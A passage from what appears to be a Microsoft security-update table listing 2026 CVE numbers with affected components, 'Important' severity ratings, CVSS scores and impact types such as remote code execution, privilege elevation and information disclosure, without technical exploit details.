CVE-2026-56642\n  Microsoft Fabric Data\n  Warehouse Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50343\n  Microsoft Install\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50439\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-58537\n  Microsoft NAT Helper\n  Components (ipnathlp.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56193\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-55023\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55026\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-55027\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55028\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55047\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55035\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55057\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55121\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55042\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55139\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50665\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  7.8\n  No\n  No\n  Info\n \n \n  CVE-2026-56192\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56195\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-47290\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50301\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55017\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55125\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55133\n  Microsoft OneNote\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58636\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50438\n  Microsoft PC Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58647\n  Microsoft PowerBI\n  Report Server Spoofing Vulnerability\n  Important\n  8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55052\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58277\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55051\n  Microsoft SharePoint\n  Server Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54108\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55016\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55019\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55020\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55021\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55030\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55034\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55126\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-55135\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56157\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-47296\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55002\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47295\n  Microsoft SQL Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50468\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54116\n  Microsoft SQL Server\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-42900\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-49784\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50356\n  Microsoft Windows App\n  Store Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49165\n  Microsoft Windows App\n  Store Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54993\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58610\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55050\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55124\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55142\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-55032\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55055\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55038\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55134\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  